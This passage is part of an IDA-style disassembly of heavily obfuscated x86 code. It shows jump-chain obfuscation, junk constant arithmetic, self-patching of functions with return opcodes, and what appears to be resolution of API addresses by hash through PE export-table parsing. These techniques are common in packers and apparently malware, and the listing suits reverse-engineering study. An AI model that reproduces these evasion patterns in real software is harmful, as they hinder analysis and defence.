		mov	edx, ecx
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		jmp	loc_443B6E
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44A4C8:				; CODE XREF: sub_440280+918Aj
		jz	loc_44BA63
		jmp	loc_447757
; END OF FUNCTION CHUNK	FOR sub_440280
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_356. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44A4D4:				; CODE XREF: sub_44B17B:loc_438436j
		mov	esi, ebx
		xchg	esi, [esp+0]
		push	0D1666E9Eh
		pop	ebx
		rol	ebx, 10h
		jmp	loc_43B0B6
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_44A4E7:				; CODE XREF: y22d6.y.:0044C463j
		sub	ebx, 6303F200h
		push	offset loc_43C005
		jmp	locret_442265
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_44A4F8:				; CODE XREF: sub_44066C+42EBj
		jl	loc_44CB5C
		xchg	edi, ebp
		jmp	loc_44CB59
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4482CF

loc_44A505:				; CODE XREF: sub_4482CF:loc_43D750j
		jz	loc_444BB8
		jmp	loc_444909
; END OF FUNCTION CHUNK	FOR sub_4482CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_44A510:				; CODE XREF: sub_43837F+EF96j
		movzx	edx, byte ptr [edx]
		or	eax, edx

loc_44A515:				; CODE XREF: sub_43837F+D202j
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		and	eax, 0FFh
		push	offset loc_44BD6B
		jmp	nullsub_328
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------

loc_44A52D:				; CODE XREF: y22d6.y.:00437544j
		adc	edx, ebx
		jmp	loc_448E9E
; ---------------------------------------------------------------------------
		jbe	loc_43F889

; =============== S U B	R O U T	I N E =======================================



sub_44A53A	proc near		; CODE XREF: y22d6.y.:0043DA22p

; FUNCTION CHUNK AT 0043DE75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F5CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441157 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044550E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044D2D4 SIZE 00000006 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jmp	loc_441157
sub_44A53A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		jmp	loc_44C398
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44A54B:				; CODE XREF: sub_44271A-2258j
		add	esi, 704BB8D1h
		sub	esi, 0B321FEF3h
		and	esi, 31C1E747h
		add	esi, 0EE83E4E7h
		jmp	loc_438EBB
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B267

loc_44A568:				; CODE XREF: sub_44B267:loc_43BC71j
		pop	ebx
		xor	ebx, 159832B2h
		add	ebx, 84CE9419h
		push	offset loc_437C30
		jmp	nullsub_191
; END OF FUNCTION CHUNK	FOR sub_44B267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABB0

loc_44A57F:				; CODE XREF: sub_44ABB0+9j
		mov	ebx, esi
		xchg	ebx, [esp+0]
		mov	esi, edx
		call	sub_44415C
; END OF FUNCTION CHUNK	FOR sub_44ABB0
; START	OF FUNCTION CHUNK FOR sub_44B629

loc_44A58B:				; CODE XREF: sub_44B629+7j
		jmp	nullsub_341
; END OF FUNCTION CHUNK	FOR sub_44B629
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44A590:				; CODE XREF: sub_4450FD+Ej
		jmp	loc_44745A
; END OF FUNCTION CHUNK	FOR sub_4450FD

; =============== S U B	R O U T	I N E =======================================



sub_44A595	proc near		; CODE XREF: sub_438A67:loc_43BF60j

; FUNCTION CHUNK AT 00441C64 SIZE 00000005 BYTES

		add	esp, 0FFFFFFD8h
		mov	[ebp-20h], eax
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		push	offset loc_442D11
		jmp	loc_441C64
sub_44A595	endp

; ---------------------------------------------------------------------------

loc_44A5AB:				; CODE XREF: y22d6.y.:loc_44D7A8j
		pushf
		jmp	sub_445A15
; ---------------------------------------------------------------------------

loc_44A5B1:				; CODE XREF: y22d6.y.:004460D2j
		jb	loc_442A37
		add	edi, edx
		jmp	loc_43ED90
; ---------------------------------------------------------------------------
		mov	eax, 0EA34346Fh
		push	ecx
		push	7CA876AEh
		pop	ecx
		or	ecx, 83899E3Dh
		jmp	loc_43DD6D

; =============== S U B	R O U T	I N E =======================================



sub_44A5D5	proc near		; CODE XREF: sub_41609C+191p
					; sub_44A5D5+5j
					; DATA XREF: ...
		call	sub_44A5E5
		jmp	ds:off_41E10C
sub_44A5D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF98

loc_44A5E0:				; CODE XREF: sub_43BF98+Aj
		jmp	loc_4409B1
; END OF FUNCTION CHUNK	FOR sub_43BF98

; =============== S U B	R O U T	I N E =======================================



sub_44A5E5	proc near		; CODE XREF: sub_43F224:loc_440E34j
					; y22d6.y.:00444CF9j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004371C3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004396EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E8C5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440533 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444CD8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449E15 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C87F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DF92 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044E2AA SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		jmp	loc_440533
sub_44A5E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D45

loc_44A5F0:				; CODE XREF: sub_444D45+10j
		rol	eax, 2
		or	eax, 5EB8C86Dh
		cmp	eax, 0A366C728h
		jmp	loc_4464A3
; END OF FUNCTION CHUNK	FOR sub_444D45
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_277. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A605:				; CODE XREF: y22d6.y.:0044CC52j
		jmp	locret_4492B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_44A60A:				; CODE XREF: sub_43FFE2:loc_43F7D9j
		mov	ecx, [ebp-4]
		mov	eax, 1
		shl	eax, cl
		and	edx, eax
		push	offset loc_448053
		jmp	loc_447E99
; END OF FUNCTION CHUNK	FOR sub_43FFE2

; =============== S U B	R O U T	I N E =======================================



sub_44A620	proc near		; DATA XREF: sub_44DB81:loc_4450D7o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00443BBC SIZE 0000000F BYTES

		xchg	ecx, [esp-4+arg_0]
		mov	edx, ecx
		pop	ecx
		xchg	ebx, [esp+0]
		jmp	loc_443BBC
sub_44A620	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 298Bh
		dd 0FF2CA4E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_44A635:				; CODE XREF: sub_4475B3:loc_43BC3Dj
		jnz	loc_443D51

loc_44A63B:				; CODE XREF: sub_43AD94+F1B1j
		jmp	loc_4408BD
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44A640:				; CODE XREF: sub_44271A+283j
		jmp	nullsub_1
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------

loc_44A645:				; CODE XREF: y22d6.y.:0043F0A6j
		jmp	loc_439166
; ---------------------------------------------------------------------------

loc_44A64A:				; CODE XREF: y22d6.y.:0043B843j
		jmp	loc_437BEA
; ---------------------------------------------------------------------------

loc_44A64F:				; CODE XREF: y22d6.y.:0044237Ej
		jg	sub_43760A
		not	ecx
		jb	loc_44CC5F

loc_44A65D:				; CODE XREF: y22d6.y.:loc_448C30j
		jmp	loc_443D4F
; ---------------------------------------------------------------------------
		mov	ds:off_41E0E0, eax
		lea	eax, sub_43E39E
		mov	byte ptr [eax],	0C3h
		jmp	sub_43E39E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447896

loc_44A676:				; CODE XREF: sub_447896+4j
		pop	edx
		mov	eax, [esp+0]
		push	ebp
		mov	ebp, edx
		jmp	loc_444517
; END OF FUNCTION CHUNK	FOR sub_447896
; ---------------------------------------------------------------------------

locret_44A682:				; CODE XREF: y22d6.y.:0043D514j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44A683:				; CODE XREF: sub_44271A-772Aj
		jmp	sub_43760A
; END OF FUNCTION CHUNK	FOR sub_44271A

; =============== S U B	R O U T	I N E =======================================



sub_44A688	proc near		; DATA XREF: sub_44B17B:loc_441878o
		pop	edx
		rol	eax, 9
		push	ebx
		push	offset sub_43AFCD
		jmp	nullsub_168
sub_44A688	endp

; ---------------------------------------------------------------------------

loc_44A697:				; CODE XREF: y22d6.y.:loc_44CACEj
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		call	sub_438E86
		jmp	loc_4479E2
; ---------------------------------------------------------------------------

loc_44A6A7:				; CODE XREF: y22d6.y.:00437D15j
		jge	loc_4434FA
		sbb	eax, edx
		sub	ecx, 0F2B42D77h
		jmp	loc_445F2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44A6BA:				; CODE XREF: sub_44B1D2-AA74j
		add	ebx, 64BE3A84h
		rol	ebx, 1Dh
		add	ebx, 0CED73C2h
		test	ebx, 8000h
		jmp	loc_43D26E
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		jz	loc_438D65
		jno	loc_4370B8
		jmp	sub_44C7B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CAD8

loc_44A6E5:				; CODE XREF: sub_44CAD8+13j
		push	offset loc_43F998
		jmp	nullsub_321
; END OF FUNCTION CHUNK	FOR sub_44CAD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_44A6EF:				; CODE XREF: sub_43E5C2+6036j
		cdq

loc_44A6F0:				; CODE XREF: sub_43E5C2:loc_43AA5Dj
		push	27A06466h
		pop	eax
		sub	eax, ds:4000E0h
		and	eax, 0C5C06F9h
		jmp	loc_43CB4B
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; ---------------------------------------------------------------------------
		sbb	ecx, edx
		jmp	loc_44027E
; ---------------------------------------------------------------------------

loc_44A70E:				; DATA XREF: sub_446188+1o
		push	0C89D8E95h
		pop	eax
		or	eax, ds:4000E9h
		add	eax, 3585C5E5h
		xchg	eax, [esp]
		jmp	sub_43B58F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_44A728:				; CODE XREF: sub_43CBF3:loc_43C21Fj
		pop	ebp
		xchg	ebp, [esp+4+var_4]
		push	ebx
		push	4A82B82h
		pop	ebx
		jmp	loc_43D74B
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; ---------------------------------------------------------------------------

locret_44A738:				; CODE XREF: y22d6.y.:loc_4484B7j
		retn
; ---------------------------------------------------------------------------
		push	offset sub_4480FC
		jmp	locret_44AFDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_44A743:				; CODE XREF: sub_444541+3549j
		xchg	esi, [esp+0]
		call	sub_442C0C
		mov	eax, 469EF90Dh
		push	ecx

loc_44A751:				; CODE XREF: sub_445362:loc_4479B3j
		push	0F1A59BB2h
		pop	ecx
		xor	ecx, ds:4000EAh
		add	ecx, 0AC59EDBDh
		jmp	loc_438F08
; END OF FUNCTION CHUNK	FOR sub_444541

; =============== S U B	R O U T	I N E =======================================



sub_44A768	proc near		; CODE XREF: sub_44643Bj
					; DATA XREF: sub_446425+Co

; FUNCTION CHUNK AT 00445713 SIZE 00000005 BYTES

		mov	eax, [esp+0]
		call	sub_4476DE

loc_44A770:				; CODE XREF: sub_44C222-51ACj
		lea	eax, nullsub_1

loc_44A776:				; CODE XREF: sub_437901:loc_446DF9j
		mov	byte ptr [eax],	0C3h
		jmp	loc_445713
sub_44A768	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A77E	proc near		; CODE XREF: sub_416BBA+11Dp
					; sub_44A77E+5j
					; DATA XREF: ...
		call	sub_44A793
		jmp	ds:off_41E0FC
sub_44A77E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44A789:				; CODE XREF: sub_4432B8+7E28j
		jmp	nullsub_218
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_44A78E:				; CODE XREF: y22d6.y.:0043E66Ej
		jmp	loc_44C9E0

; =============== S U B	R O U T	I N E =======================================



sub_44A793	proc near		; CODE XREF: sub_440280:loc_43912Ej
					; sub_44A77Ep ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044B8AA SIZE 0000000E BYTES

		pop	edx
		jnz	loc_44B8AA
		call	sub_44825F

loc_44A79F:				; CODE XREF: sub_43F9E0+1321j
		jmp	nullsub_154
sub_44A793	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A7A4:				; CODE XREF: y22d6.y.:0043CDDDj
		jmp	loc_44145D

; =============== S U B	R O U T	I N E =======================================



sub_44A7A9	proc near		; CODE XREF: sub_43AEAA+19j
					; sub_43AFCD+15j

; FUNCTION CHUNK AT 004415B3 SIZE 00000009 BYTES

		push	ebx
		push	4FFE432Ch
		pop	ebx
		and	ebx, ds:4000E3h
		add	ebx, 32A912DEh
		and	ebx, 0E0A81C7Eh
		add	ebx, 0F559C920h
		jmp	loc_4415B3
sub_44A7A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44A7CD:				; CODE XREF: sub_448EB6-16E0j
		and	ecx, 0B53DB9F5h
		adc	eax, 9373C145h
		jmp	loc_448B59
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_44A7DE:				; CODE XREF: sub_43C55B+3374j
					; sub_44A095-657Bj ...
		jmp	loc_4435BE
; END OF FUNCTION CHUNK	FOR sub_43F750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_44A7E3:				; CODE XREF: sub_44A095+7j
					; y22d6.y.:0044D5A6j
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		jmp	loc_449EBE
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_44A7EE:				; CODE XREF: sub_447268+BC8j
		mov	eax, edi
		jmp	loc_438C96
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_44A7F5:				; CODE XREF: sub_438B66+F7F7j
					; sub_438B66+129E2j
		mov	eax, [ebp-20h]
		push	esi
		push	offset loc_43CF8B
		jmp	loc_442568
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
		sbb	ebp, 414DD483h
		jmp	sub_439A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_44A80E:				; CODE XREF: sub_44371A+24BCj
		jz	loc_43A44C
		jmp	loc_449C58
; END OF FUNCTION CHUNK	FOR sub_44371A
; ---------------------------------------------------------------------------

loc_44A819:				; CODE XREF: y22d6.y.:loc_44BA59j
		or	edi, 0B0FE77EEh
		jnb	loc_43CA58
		sub	eax, ecx
		jmp	loc_44405B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B201

loc_44A82C:				; CODE XREF: sub_43B201:loc_43EF96j
		pop	edx
		sub	eax, 460AB70Eh
		or	eax, 0E3694AE9h
; END OF FUNCTION CHUNK	FOR sub_43B201
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_44A839:				; CODE XREF: sub_43AD2F+8C7Bj
		xor	eax, 0E6CD7AC9h
		jmp	loc_44D181
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------
		mov	eax, 1F1D4A60h
		call	sub_43CA1A
		mov	ds:dword_41E058, eax
		lea	eax, nullsub_12
		mov	byte ptr [eax],	0C3h
		jmp	loc_44CAD3

; =============== S U B	R O U T	I N E =======================================



sub_44A862	proc near		; CODE XREF: sub_403249+288p
					; sub_4088D0+AAp ...
		call	sub_43B09B
		jmp	ds:off_41E05C
sub_44A862	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44A86D:				; CODE XREF: sub_448EB6+2D5Fj
		jmp	sub_438FBB
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DF73

loc_44A872:				; CODE XREF: sub_44DF73:loc_440B3Bj
		add	eax, 2D23B818h

loc_44A878:				; DATA XREF: sub_44DF73+6o
		xchg	eax, [esp-0Ch+arg_8]
		jmp	loc_437A3F
; END OF FUNCTION CHUNK	FOR sub_44DF73
; ---------------------------------------------------------------------------
		push	esi
		push	0F708EBECh
		pop	esi
		rol	esi, 1Fh
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44A88A:				; CODE XREF: sub_44B17B:loc_43EF13j
		call	sub_446FE9
; END OF FUNCTION CHUNK	FOR sub_44B17B
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44A88F:				; CODE XREF: sub_440280+11j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44BA63
		jmp	loc_448888
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44A89E:				; CODE XREF: sub_448EB6:loc_4490E9j
		add	eax, 45620955h
		and	eax, 0FB4E91E2h
		push	offset loc_441271
		jmp	loc_438A23
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA32

loc_44A8B4:				; CODE XREF: sub_43BA32+8j
		pop	edx
		rol	edx, 6
		test	edx, 2
		jmp	loc_43C250
; END OF FUNCTION CHUNK	FOR sub_43BA32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44A8C3:				; CODE XREF: sub_44B17B:loc_43EDF6j
		jl	loc_441870
		xchg	edi, [eax]
		jmp	loc_43A22B
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_44A8D0:				; CODE XREF: sub_44AA69-4BBDj
		jz	loc_439EEE
		jmp	loc_44C9C1
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_44A8DB:				; CODE XREF: sub_44193A+AFC2j
		jnp	loc_4434DB

loc_44A8E1:				; CODE XREF: sub_44193A:loc_441325j
		call	sub_43760A
		push	0A31C28F2h
		pop	edx
		add	edx, 0C659A1B7h
		sub	edx, 80E2C739h
		jmp	loc_44BCB8
; END OF FUNCTION CHUNK	FOR sub_44193A

; =============== S U B	R O U T	I N E =======================================



sub_44A8FD	proc near		; CODE XREF: y22d6.y.:004485EAj
					; sub_43A041:loc_44A936p

; FUNCTION CHUNK AT 0043A5DB SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		jns	loc_43A5DB
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		call	sub_439932
sub_44A8FD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_44A915:				; CODE XREF: sub_44DB81+11j
		jmp	loc_447A69
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439595

loc_44A91A:				; CODE XREF: y22d6.y.:00438865j
					; sub_439595+8B4Fj
		add	ebx, 0FF03F1D6h
		xchg	ebx, [esp+0]
		jmp	loc_43C387
; END OF FUNCTION CHUNK	FOR sub_439595
; ---------------------------------------------------------------------------

loc_44A928:				; CODE XREF: y22d6.y.:loc_440428j
		jz	loc_44A936
		mov	ebx, [ebx+ecx]
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_44A931:				; CODE XREF: sub_43A041+2542j
		call	sub_4404D1

loc_44A936:				; CODE XREF: sub_43A041+13j
					; sub_43A041+2539j ...
		call	sub_44A8FD

loc_44A93B:				; CODE XREF: y22d6.y.:00447142j
		jb	loc_44C1BB
		pushf
		jmp	loc_43AE24
; END OF FUNCTION CHUNK	FOR sub_43A041

; =============== S U B	R O U T	I N E =======================================



sub_44A947	proc near		; DATA XREF: y22d6.y.:0044B7E7o
		push	edx
		call	sub_4397E6
		mov	eax, 22143682h
		call	sub_43CA1A
		jmp	loc_4372E4
sub_44A947	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44A95C:				; CODE XREF: sub_44B17B:loc_437111j
		jnz	loc_440C73

loc_44A962:				; CODE XREF: sub_43B7D4+A61Bj
		sbb	esi, 0F398B27Ch
		push	ecx
		test	edi, esi
		jmp	loc_440C6D
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_44A970:				; CODE XREF: y22d6.y.:004403F9j
		xchg	edx, [esp]
		pop	edx
		mov	edx, ds:dword_44DD6C
		or	edx, edx
		jnz	loc_438C42
		jmp	loc_439F3C
; ---------------------------------------------------------------------------

loc_44A987:				; CODE XREF: y22d6.y.:0043707Cj
		cmp	ecx, esi
		jmp	loc_446E6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_44A98E:				; CODE XREF: sub_43F501:loc_439F84j
		jge	loc_447DF8

loc_44A994:				; CODE XREF: sub_44D371+Ej
		jmp	loc_448E5F
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D534

loc_44A999:				; CODE XREF: sub_44D534-580Dj
		jmp	nullsub_297
; END OF FUNCTION CHUNK	FOR sub_44D534
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_44A99E:				; CODE XREF: sub_448C77-1888j
		jmp	sub_44A413
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------

loc_44A9A3:				; CODE XREF: y22d6.y.:00445CC7j
		jmp	loc_443ED1
; ---------------------------------------------------------------------------

loc_44A9A8:				; CODE XREF: y22d6.y.:0043A807j
		jmp	locret_448013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439595

loc_44A9AD:				; CODE XREF: sub_439595+3j
		jmp	loc_44D9D7
; END OF FUNCTION CHUNK	FOR sub_439595
; ---------------------------------------------------------------------------
		sbb	ebp, 17AFA0FEh
		jmp	loc_447DF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_44A9BD:				; CODE XREF: sub_43F750+BED4j
		jb	loc_445905
		rol	edi, 4
		jmp	loc_4445D9
; END OF FUNCTION CHUNK	FOR sub_43F750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437680

loc_44A9CB:				; CODE XREF: sub_437680+1707j
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-4]
		jmp	loc_449096
; END OF FUNCTION CHUNK	FOR sub_437680

; =============== S U B	R O U T	I N E =======================================



sub_44A9D9	proc near		; CODE XREF: sub_448EB6:loc_44908Ep
		mov	eax, 0E0h
		retn
sub_44A9D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A9DF	proc near		; CODE XREF: y22d6.y.:loc_4380F5p
					; sub_44798E-C24Aj ...

; FUNCTION CHUNK AT 00440B91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E507 SIZE 0000000A BYTES

		jb	sub_444183
		jmp	loc_440B91
sub_44A9DF	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_44055E

; =============== S U B	R O U T	I N E =======================================



sub_44A9F2	proc near		; CODE XREF: y22d6.y.:0044B102j
					; y22d6.y.:0044D4DDp
		xchg	esi, [esp+0]
		pop	esi
		push	3353F575h
		pop	esi
		jmp	loc_43D68C
sub_44A9F2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44AA01	proc near		; DATA XREF: y22d6.y.:004489DDo
		push	ebx
		push	1D01DBFCh
		pop	ebx
		add	ebx, 597C23A5h
sub_44AA01	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_448C77

loc_44AA0E:				; CODE XREF: sub_448C77:loc_4382BCj
		cmp	ebx, 0E749889Bh
		jmp	loc_43D782
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44AA19:				; CODE XREF: sub_43B09B+8624j
		and	ecx, 0F4D7CD6Bh
		sub	ecx, 42EAB696h
		add	ecx, 0D317497Ah
		mov	[ecx], eax
		pop	ecx
		call	sub_44C7B2

loc_44AA33:				; CODE XREF: sub_43B09B+3819j
		add	ecx, 44AE8759h
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_43B09B
		jmp	loc_438A4B
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_44AA47:				; CODE XREF: y22d6.y.:00449D80j
		and	edx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_44AA49	proc near		; CODE XREF: sub_442EA9p
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_44AA5D
		jmp	ds:off_41E064
sub_44AA49	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_44AA58:				; CODE XREF: sub_437B43+4FC1j
		jmp	loc_43F4B0
; END OF FUNCTION CHUNK	FOR sub_437B43

; =============== S U B	R O U T	I N E =======================================



sub_44AA5D	proc near		; CODE XREF: sub_4432B8-1C86j
					; y22d6.y.:0044A284j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044007C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442496 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442648 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448034 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449D85 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044A289 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044D04C SIZE 00000017 BYTES

		pop	edx
		jb	loc_44A289
		jmp	loc_448034
sub_44AA5D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44AA69	proc near		; DATA XREF: sub_43ED31-6DF6o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437697 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004389C7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00439479 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00439EE2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043D312 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443134 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004443D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445E9E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00445F4C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004494C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A8D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AA87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AE6F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B2AE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C9C1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D42C SIZE 00000005 BYTES

		push	0F46F5551h
		pop	ebx
		sub	ebx, 22C99A8Bh
		or	ebx, 0BF105862h
		add	ebx, 8DF218h
		jmp	loc_4443D9
sub_44AA69	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_44AA87:				; CODE XREF: sub_44AA69:loc_44AE74j
		jmp	nullsub_249
; END OF FUNCTION CHUNK	FOR sub_44AA69
